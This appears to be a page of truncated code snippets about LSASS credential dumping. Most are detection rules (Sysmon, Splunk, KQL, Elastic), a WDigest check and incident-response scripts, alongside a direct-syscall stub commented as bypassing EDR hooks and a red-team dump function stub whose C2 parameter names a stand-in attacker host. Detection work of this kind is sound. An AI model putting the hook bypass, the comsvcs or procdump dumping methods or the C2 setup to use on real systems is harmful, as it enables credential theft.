Ghost-Developmentx

#include <windows.h>
#include <stdio.h>

// Direct syscall to NtOpenProcess (bypassing user-mode hooks)
extern NTSTATUS NtOpenProcess(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID ClientId
);

Ghost-Developmentx

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Detect LSASS memory access -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
      <GrantedAccess condition="is">0x1410</GrantedAccess> <!-- PROCESS_VM_READ -->
    </ProcessAccess>
    
    <!-- Detect suspicious LSASS child processes -->
    <ProcessCreate onmatch="include">

Ghost-Developmentx

# Pseudo-code for SIEM/EDR detection rule
def detect_lsass_dump_attempt(event):
    """
    Detects potential LSASS dumping activity
    """
    indicators = []
    
    # Check for process accessing LSASS with suspicious rights
    if (event.target_process == "lsass.exe" and 
        event.access_rights & PROCESS_VM_READ and

Ghost-Developmentx

index=windows sourcetype=WinEventLog:Security OR sourcetype=WinEventLog:Sysmon 
(
  (EventCode=4656 OR EventCode=4663) ObjectName="*lsass.exe" AccessMask IN ("0x1010", "0x1410", "0x1438")
  OR
  (EventCode=1 CommandLine="*comsvcs.dll*" CommandLine="*MiniDump*")
  OR
  (EventCode=1 Image="*procdump*" CommandLine="*lsass*")
  OR
  (EventCode=1 ParentImage="*lsass.exe")
  OR

Ghost-Developmentx

SecurityEvent
| where EventID in (4656, 4663)
| where ObjectName has "lsass.exe"
| where AccessMask in ("0x1010", "0x1410", "0x1438")
| project TimeGenerated, Computer, Account, ProcessName, ObjectName, AccessMask
| union (
    SecurityEvent
    | where EventID == 4688
    | where CommandLine has_all ("comsvcs.dll", "MiniDump")
    | project TimeGenerated, Computer, Account, ProcessName, CommandLine

Ghost-Developmentx

{
  "rule": {
    "name": "Potential LSASS Memory Dump",
    "description": "Detects attempts to dump LSASS process memory",
    "severity": "critical",
    "risk_score": 90,
    "query": "event.code:(4656 or 4663 or 10) and winlog.event_data.ObjectName:*lsass.exe* and winlog.event_data.AccessMask:(0x1010 or 0x1410 or 0x1438) or (process.name:(*procdump* or rundll32.exe) and process.args:(*lsass* or *comsvcs.dll* or *MiniDump*)) or (file.name:*lsass*.dmp)",
    "filters": [
      {
        "meta": {

Ghost-Developmentx

# Test 1: Verify WDigest is disabled
$wdigest = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
    -Name "UseLogonCredential" -ErrorAction SilentlyContinue

if ($wdigest.UseLogonCredential -eq 0) {
    Write-Host "[PASS] WDigest is disabled" -ForegroundColor Green
} else {
    Write-Host "[FAIL] WDigest is enabled - plaintext passwords at risk!" -ForegroundColor Red
}

Ghost-Developmentx

# 1. Identify compromised system
$compromisedHost = "WORKSTATION01"

# 2. Isolate the system (if EDR supports it)
# Most EDRs have CLI/API for network isolation

# 3. Force password resets for affected users
$affectedUsers = @("user1", "user2", "admin1")

foreach ($user in $affectedUsers) {

Ghost-Developmentx

# Timeline of events around LSASS access
Get-WinEvent -FilterHashtable @{
    LogName='Security','Microsoft-Windows-Sysmon/Operational'
    StartTime=(Get-Date).AddHours(-24)
} | Where-Object {
    $_.Message -match "lsass" -or 
    $_.Id -in @(4656, 4663, 4688, 10)
} | Select-Object TimeCreated, Id, Message | 
    Sort-Object TimeCreated | 
    Format-Table -AutoSize

Ghost-Developmentx

# RED TEAM SIMULATION - AUTHORIZED TESTING ONLY
# This script demonstrates a realistic attack chain

function Invoke-LsassDumpSimulation {
    param(
        [string]$OutputPath = "C:\temp\output.dmp",
        [switch]$UseComsvcs,
        [switch]$UseProcDump,
        [string]$C2Server = "attacker.evil.com"
    )